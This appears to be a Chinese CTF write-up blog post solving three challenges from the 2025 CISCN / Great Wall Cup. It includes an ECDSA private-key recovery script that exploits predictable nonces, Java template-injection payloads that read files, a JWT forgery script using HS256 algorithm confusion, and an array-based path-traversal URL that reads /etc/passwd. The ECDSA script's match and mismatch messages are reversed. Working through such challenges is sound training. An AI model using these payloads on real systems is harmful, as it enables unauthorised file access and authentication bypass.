1497 字
7 分钟
【 比赛篇 | CTF 】2025CISCN暨长城杯

ECDSA#

题目内容:

ECDSA一定是安全的吗?提交格式:flag{私钥的MD5值}

题目:

#!/usr/bin/env python3
from ecdsa import SigningKey, NIST521p
from hashlib import sha512
from Crypto.Util.number import long_to_bytes
import random
import binascii
import sys
digest_int = int.from_bytes(sha512(b"Welcome to this challenge!").digest(), "big")
curve_order = NIST521p.order
priv_int = digest_int % curve_order
priv_bytes = long_to_bytes(priv_int, 66)
sk = SigningKey.from_string(priv_bytes, curve=NIST521p)
vk = sk.verifying_key
f_pub = open("public.pem", "wb")
f_pub.write(vk.to_pem())
f_pub.close()
def nonce(i):
seed = sha512(b"bias" + bytes([i])).digest()
k = int.from_bytes(seed, "big")
return k
msgs = [b"message-" + bytes([i]) for i in range(60)]
sigs = []
for i, msg in enumerate(msgs):
k = nonce(i)
sig = sk.sign(msg, k=k)
sigs.append((binascii.hexlify(msg).decode(), binascii.hexlify(sig).decode()))
f_sig = open("signatures.txt", "w")
for m, s in sigs:
f_sig.write("%s:%s\n" % (m, s))
f_sig.close()

审计发现,本题考查ECDSA恢复私钥

ECDSA标准加密流程:

  1. 计算消息哈希
e=H(m)e = H(m)
  1. 选择随机 nonce k

  2. 计算

r=(kG)xmodnr = (kG)_x \bmod n
  1. 计算
s=k1(e+dr)modns = k^{-1}(e + dr) \bmod n

可以反推私钥d的算法:

d(ske)r1(modn)\boxed{d \equiv (sk - e) \cdot r^{-1} \pmod n}5\boxed{5}

考点在nonce是假的随机数,

def nonce(i):
seed = sha512(b"bias" + bytes([i])).digest()
k = int.from_bytes(seed, "big")
return k

每条消息对应的nonce可预测,所以私钥可以从任意一条签名中直接被恢复。

exp:

#!/usr/bin/env python3
import binascii
from ecdsa import VerifyingKey, NIST521p, SigningKey
from hashlib import sha512, md5
from binascii import hexlify
def computer_priv_from_seed():
digest = sha512(b"Welcome to this challenge!").digest()
curve_order = NIST521p.order
priv_int = int.from_bytes(digest, "big") % curve_order
priv_bytes = priv_int.to_bytes(66, "big")
return priv_int,priv_bytes, digest
def nonce(i):
seed = sha512(b"bias" + bytes([i])).digest()
k = int.from_bytes(seed, "big")
return k
def recover_d_from_signature(msg_bytes, sig_hex):
sig = binascii.unhexlify(sig_hex)
if len(sig) < 132:
raise ValueError("Signature length is too short to be valid for NIST521p")
r = int.from_bytes(sig[0:66], "big")
s = int.from_bytes(sig[66:132], "big")
n = int(NIST521p.order)
e = int.from_bytes(sha512(msg_bytes).digest(), "big")
if len(msg_bytes) == 0 or msg_bytes[-1] > 255:
raise ValueError("Invalid message format")
i = msg_bytes[-1]
k = nonce(i)
d = ((s * k - e) * pow(r, -1, n)) % n
priv_bytes = d.to_bytes(66, "big")
return d, priv_bytes, i
def main():
priv_int, priv_bytes, digest = computer_priv_from_seed()
print("Welcome to this challenge! private key (int):", hexlify(digest).decode())
print("Private key (int):", priv_int)
print("Private key (hex):", priv_bytes.hex())
print("MD5 of private key:", md5(priv_bytes).hexdigest())
recovered = set()
with open("signatures.txt", "r") as f:
lines = [ln.strip() for ln in f if ln.strip() and ":" in ln]
for ln in lines:
print("=============================================")
print("Processing line:", ln)
left, right = ln.split(":", 1)
msg_bytes = bytes.fromhex(left)
sig_hex = right.strip()
d, pd, i = recover_d_from_signature(msg_bytes, sig_hex)
print("Recovered private key (hex):", pd.hex())
print("MD5 of recovered private key:", md5(pd).hexdigest())
recovered.add(pd.hex())
with open("public.pem", "rb") as f:
pub_pem = f.read()
sk = SigningKey.from_string(priv_bytes, curve=NIST521p)
vk = sk.verifying_key
pem = vk.to_pem()
print("+++++++++++++++++++++++++++++++++++++++++++++")
if pub_pem.strip() == pem.strip():
print("Public key from recovered private key does not match original!")
print("Public key from recovered private key matches original:", pem.decode())
print(md5(priv_bytes))
print(priv_bytes)
print("=============================================")
priv_str = str(priv_int).encode("ascii")
print("Private key as string:", md5(priv_str).hexdigest())
if __name__ == "__main__":
main()

确保验证时得出的公钥与题目给的一致:

image-20251228173250322

EzJava#

题目内容:

公告管理系统近期开发测试,为保证测试环境安全,已把常用系统命令全部清除,请尝试读取根目录的敏感文件。(本题下发后,请通过http访问相应的ip和port,例如 nc ip port ,改为http://ip:port/

admin/admin123弱口令直接进后台,发现为java的模板渲染,且T(连接起来会替换为NONO,new被替换为WoW

最后使用java中的File类的listFiles方法获取根目录下的文件列表,因为其返回结果为数组,需要转换为字符串,所以构造:

${T (java.util.Arrays).toString(T (java.io.File).listRoots()[0].listFiles().![name])}
image-20251228154827525

继续使用Files类中的readAiiLines方法获取flag值,Paths类的get设定文件名,因为程序会将flag字符串替换为空,所以使用concat进行截断绕过:

${T (java.nio.file.Files).readAllLines(T (java.nio.file.Paths).get('/'.concat('f').concat('lag_y0u_d0nt_kn0w')))}
image-20251228155524037

Deprecated#

今年长城杯决赛原题: 2025 长城杯 final 记录

下载附件后审计,漏洞点有两个:

router.get('/checkfile', AuthMiddleware, async (req, res, next) => {
try{
let user = await db.getUser(req.data.username);
if (user === undefined) {
return res.send(`user ${req.data.username} doesn't exist.`);
}
if (req.data.username === 'admin' && req.data.priviledge==='File-Priviledged-User'){
let file=req.query.file;
if (!file) {
return res.send('File name not specified.');
}
if (!allowedFile(file)) {
return res.send('File type not allowed.');
}
try{
if (file.includes(' ') || file.includes('/') || file.includes('..')) {
return res.send('Invalid filename!');
}
}
catch(err){
return res.send('An error occured!');
}
if (file.length > 10) {
file = file.slice(0, 10);
}
const returned = path.resolve('./' + file);
fs.readFile(returned, (err) => {
if (err) {
return res.send('An error occured!');
}
res.sendFile(returned);
});
}
else{
return res.send('Sorry Only priviledged Admin can check the file.').status(403);
}
}catch (err){
return next(err);
}
});

checkfile路由存在文件读取。

const allowedFile = (file) => {
const format = file.slice(file.indexOf('.') + 1);
return format == 'log';
};

这里可以绕过扩展名:

image-20251228212543101

这里可以打文件读取:

const returned = path.resolve('./' + file);

看下效果: image-20251228213642754

然后res.sendFile(returned);程序就会获取服务器上存在的文件,发送到客户端。

这个基本就是获取flag的核心所在,剩下继续看: 先看第一层过滤:

let user = await db.getUser(req.data.username);
if (user === undefined) {
return res.send(`user ${req.data.username} doesn't exist.`);
}
if (req.data.username === 'admin' && req.data.priviledge==='File-Priviledged-User'){

这里需要伪造jwt,并且jwt的值需要等于这两个。

首先注册两个用户,获取两个用户的jwt

使用rsa_sign2n/standalone at release · silentsignal/rsa_sign2n爆破公钥,爆破到公钥之后,利用python生成相应的jwt

from pathlib import Path
import jwt
import pickle
import base64
import encodings
path = Path('.')
for file in path.glob('*.pem'):
with open(file.name, 'rb') as key:
token=jwt.encode(
payload={
"username": "admin",
"priviledge": "File-Priviledged-User",
"iat": 1766911284,
},
key=key.read(),
algorithm='HS256'
)
print(token)
print("---")

参考https://www.caterpie771.cn/archives/347#GeekChalleng2024_jwt_pickle

这个时候就获得了admin用户的jwt。接下来绕过:

if (file.includes(' ') || file.includes('/') || file.includes('..'))

这里只需要传入数组就可以被绕过。

写一个最小demo

const express = require('express');
const fs = require('fs');
const { type } = require('os');
const path = require('path');
const app = express();
const allowedFile = (file) => {
const format = file.slice(file.indexOf('.') + 1);
return format == 'log';
};
app.get('/read', (req, res, next) => {
let file = req.query['file[]']; // 让其接收file[]达到效果 ← 浏览器 ?file=xxx.log
console.log('[+] req.query:', req.query);
console.log('[+] req.query.file:', req.query.file);
if (!file) {
return res.send('File name not specified.');
}
if (!allowedFile(file)) {
return res.send('File type not allowed.');
}
try {
if (file.includes(' ') || file.includes('/') || file.includes('..')) {
return res.send('Invalid filename!');
}
} catch (err) {
return res.send('An error occured!');
}
if (file.length > 10) {
file = file.slice(0, 10);
}
const returned = path.resolve('./' + file);
console.log('[+] resolved path:', returned);
fs.readFile(returned, (err) => {
if (err) {
return res.send('An error occured!');
}
res.sendFile(returned);
});
});
app.listen(3000, () => {
console.log('Listening on http://localhost:3000');
});

由于本地原因,漏洞点体现的不明显,当我们传入数组类型时:

Terminal window
http://localhost:3000/read?file[]=&file[]=&file[]=&file[]=../../../../../etc/passwd&file[]=.&file[]=log

后端传入: image-20251228224252335

image-20251228224309441

设置file为传入的内容:

const allowedFile = (file) => {
const format = file.slice(file.indexOf('.') + 1);
return format == 'log';
};
const path = require('path');
// === 漏洞 payload(攻击者可控)===
let file = [ '', '', '', '', '', '', '', '', '../../../../../../../../etc/passwd', '.', 'log' ];
console.log('[+] file payload:', file);
// === 漏洞核心代码 ===
if (!allowedFile(file)) {
console.log('File type not allowed.');
} else {
console.log('[+] passed allowedFile check');
}
if (file.length > 10) {
file = file.slice(0, 10);
}
const returned = path.resolve('./' + file);
console.log('[+] resolved path:', returned);

通过控制传入的空数组的值以及路径穿越,就可以任意读取文件: image-20251228223621484

【 比赛篇 | CTF 】2025CISCN暨长城杯
https://blog.ne0xsec.cn/posts/2025-cisc--and-great-wall-cup/
作者
序章
发布于
2025-12-28
许可协议
CC BY-NC-SA 4.0

分享文章

生成精美分享图或复制链接,与更多人分享本文。

继续阅读

沿着主题读

基于共同的标签与分类

换条路线

从其他文章中稳定抽取

评论

正在加载评论...

最后更新于 ,距今已过 265

部分内容可能已过时